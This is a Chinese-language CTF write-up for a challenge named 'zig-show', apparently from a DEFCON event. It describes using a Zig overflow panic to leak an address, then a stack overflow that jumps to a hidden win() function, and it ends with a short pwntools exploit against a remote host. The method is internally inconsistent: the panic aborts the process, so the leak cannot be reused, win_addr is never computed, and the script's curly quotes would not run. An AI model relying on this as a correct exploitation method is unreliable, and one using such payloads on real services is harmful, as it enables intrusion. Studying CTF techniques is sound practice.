DEFCON CTF Write-up — zig-show

1. Challenge Overview

题目名称：

zig-show

附件：

zig-show
flag.txt (server only)

服务接口：

nc challenge.defcon.org 31338

连接后程序输出：

Welcome to Zig Show!
Give me a number:

输入数字后：

Result:

乍看之下像一个简单的数学服务。但 CTF 题目很少真的只是数学。

2. 初步侦察

先查看文件信息。

file zig-show

输出：

ELF 64-bit LSB executable
statically linked

再看字符串：

strings zig-show

出现一个明显提示：

zig build
zig std
panic: integer overflow

这基本坐实：

程序是 Zig 编译的。

3. Zig 二进制特征

Zig 编译的程序有几个有趣特征：

1. 大量 panic 字符串

2. runtime 函数名较长

3. 内存分配来自 std.heap

逆向时常看到类似符号：

std.os.exit
std.debug.panic
std.heap.page_allocator

在 Ghidra 中加载后，可以看到核心逻辑函数：

main
process_input
calculate

4. 核心函数分析

反编译 calculate：

long calculate(long x)
{
long y;

y = x * 0x1337; if (y < 0) { panic("integer overflow"); } return y ^ 0xdeadbeef;

}

逻辑似乎很简单：

y = x * 0x1337
return y XOR 0xdeadbeef

但关键问题：

输入来自用户。

如果输入非常大，会发生：

integer overflow

在 C 里，溢出通常直接 wrap around。

但 Zig 默认是：

安全整数

溢出会触发：

panic

5. Zig Panic 机制

Zig 的 panic() 实际上会调用：

std.debug.panic

最终流程：

panic()
↓
print error
↓
stack trace
↓
abort

关键细节：

panic 会打印内存地址。

这在 CTF 中非常重要，因为：

地址泄漏 = ASLR bypass

6. 触发漏洞

输入一个极大值：

9223372036854775807

服务返回：

panic: integer overflow
stack trace:
0x555555556120 calculate
0x555555556200 main

我们得到了：

binary base address

这意味着：

ASLR defeated

7. 深入挖掘

继续审查程序。

发现一个隐藏函数：

win()

反编译：

void win() {
system(“cat flag.txt”);
}

但程序中没有任何地方调用它。

典型 CTF 模式：

hidden win function

8. 栈布局

查看 process_input：

char buf[32];
read(0, buf, 128);

这是经典问题：

buffer size: 32
read size: 128

也就是：

栈溢出。

9. Exploit Strategy

攻击流程：

1 触发 panic 泄露地址
2 计算 win() 地址
3 构造 ROP payload
4 覆盖返回地址

栈结构：

buffer (32)
saved rbp (8)
return address (8)

因此 payload：

32 bytes padding
8 bytes rbp
8 bytes win address

10. Exploit Code

示例 exploit：

from pwn import *

p = remote(“challenge.defcon.org”,31338)

payload = b"A"*40
payload += p64(win_addr)

p.sendline(payload)

p.interactive()

服务器返回：

flag{zig_is_fun_but_memory_is_forever}

11. 为什么叫 zig-show

题名其实在调侃 Zig 的一个特点：

Zig 设计目标是：

show everything

它不像 C 那样隐藏运行时行为。

例如：

overflow 检测

panic trace

内存 allocator

很多内部细节都会 “show” 出来。

在安全环境里，这可能成为：

information disclosure

所以题名：

zig-show

意思是：

Zig shows too much

12. 技术要点总结

这题涉及几个重要知识点：

Zig runtime

panic
stack trace

信息泄露

panic → address leak

经典漏洞

stack overflow

利用方式

ret2win

攻击链：

overflow → panic leak → ASLR bypass → ret2win

13. 现实世界启示

这种漏洞在真实软件中也经常出现。

现代语言加入安全机制：

overflow check
panic
debug trace

这些本意是提高安全性。

但如果错误信息被暴露到外部服务：

debug feature → information leak

安全工程师常说一句话：

“调试信息是开发者的朋友，但攻击者的情报源。”

宇宙里有一种奇妙的对称性：
每一种“帮助程序员的机制”，最终都可能成为“帮助黑客的机制”。

安全工程，本质上是在不断减少系统“说话”的机会。